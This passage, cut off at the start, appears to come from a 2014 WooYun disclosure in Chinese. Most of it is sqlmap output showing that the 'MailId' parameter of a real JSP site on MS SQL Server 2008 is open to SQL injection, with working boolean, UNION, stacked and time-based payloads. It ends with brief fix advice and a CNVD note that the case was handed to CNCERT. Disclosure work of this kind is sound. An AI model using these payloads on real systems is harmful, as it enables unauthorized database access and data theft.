HAVING clause' injectable
[00:27:36] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:27:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:27:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:27:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:27:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:27:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:27:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:27:52] [INFO] GET parameter 'MailId' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[00:27:52] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:27:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:27:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:28:04] [INFO] GET parameter 'MailId' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[00:28:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:28:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:28:11] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:28:13] [INFO] target url appears to have 8 columns in query
[00:28:19] [INFO] GET parameter 'MailId' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'MailId' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 44 HTTP(s) requ
ests:
---
Place: GET
Parameter: MailId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: MailId=471 AND 6458=6458
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: MailId=-1711 UNION SELECT NULL, NULL, NULL, CHAR(58)+CHAR(104)+CHAR
(119)+CHAR(98)+CHAR(58)+CHAR(78)+CHAR(114)+CHAR(108)+CHAR(114)+CHAR(65)+CHAR(68)
+CHAR(108)+CHAR(104)+CHAR(82)+CHAR(88)+CHAR(58)+CHAR(121)+CHAR(119)+CHAR(119)+CH
AR(58), NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: MailId=471; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: MailId=471 WAITFOR DELAY '0:0:5'--
---
[00:28:20] [INFO] testing MySQL
[00:28:20] [WARNING] the back-end DBMS is not MySQL
[00:28:20] [INFO] testing Oracle
[00:28:24] [WARNING] the back-end DBMS is not Oracle
[00:28:24] [INFO] testing PostgreSQL
[00:28:25] [WARNING] the back-end DBMS is not PostgreSQL
[00:28:25] [INFO] testing Microsoft SQL Server
[00:28:25] [INFO] confirming Microsoft SQL Server
[00:28:27] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
[00:28:27] [INFO] fetching database names
[00:28:28] [INFO] the SQL query used returns 40 entries
[00:29:03] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:29:34] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:30:05] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:30:36] [ERROR] thread MainThread: connection timed out to the target url or
proxy
[00:31:06] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:31:37] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:32:08] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[00:32:40] [CRITICAL] connection timed out to the target url or proxy
[*] shutting down at 00:32:40

漏洞证明:

function

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-08-18 08:36

厂商回复:

CNVD确认并复现所述情况,根据测试用例,已经转由CNCERT下发给安徽分中心,由其后续协调涉及的网站管理单位处置。

最新状态:

暂无